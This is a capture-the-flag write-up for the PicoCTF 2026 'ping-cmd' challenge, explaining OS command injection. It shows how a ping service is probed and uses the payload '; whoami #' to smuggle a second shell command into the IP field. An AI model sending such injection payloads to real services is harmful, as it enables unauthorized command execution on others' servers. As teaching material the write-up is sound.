

PicoCTF 2026 – ping-cmd

ping-cmd

General Skills

Easy

100 pts 8,194 solves

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Can you make the server reveal its secrets? It seems to be able to ping Google DNS, but what happens if you get a little creative with your input?

You can connect to the service here `nc mysterious-sea.picoctf.net 49810`

In this challenge, we're asked to look at a service that's pinging Google DNS

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What is the Ping Command?



In network computing, “pinging” a device means sending a packet to it to determine if there is network connectivity between the two devices

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What is the Ping Command?

```
└─$ nc mysterious-sea.picoctf.net 53657
Enter an IP address to ping! (We have tight security be
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=10.5 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=10.5 ms

— 8.8.8.8 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time
rtt min/avg/max/mdev = 10.544/10.545/10.546/0.001 ms
```

When we contact the network service, the output of the command looks like the Unix / Linux ping command

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Anytime a service seems to be using an OS command (like ping), it could be vulnerable to OS command injection

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OS Command Injection

Operating System (OS) Command Injection is a Vulnerability where arbitrary OS commands can be performed on the remote server through network service interface



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OS Command Injection

OS Command Injection is a serious vulnerability, and can often lead to complete compromise of the remote server, and if so, the webserver can be used as a foothold to attack other machines on the network.



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OS Command Injection

```
ping -c 2 <user-input>
```

We suspect that the OS command being used by this service is the one illustrated above

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OS Command Injection

```
ping -c 2 ; whoami #
```

The standard OS command injection payload is to cancel the original command with a semicolon, insert the desired command, and then cancel any commands that may come afterwards with the hash symbol

PicoCTF 2026 – ping-cmd OS Command Injection

```
└─$ nc mysterious-sea.picoctf.net 62348  
Enter an IP address to ping! (We have t
```

```
; whoami #
```

```
ctf-player
```

When we send our example OS command injection payload in this case, we see that it works, so we can essentially run any commands we want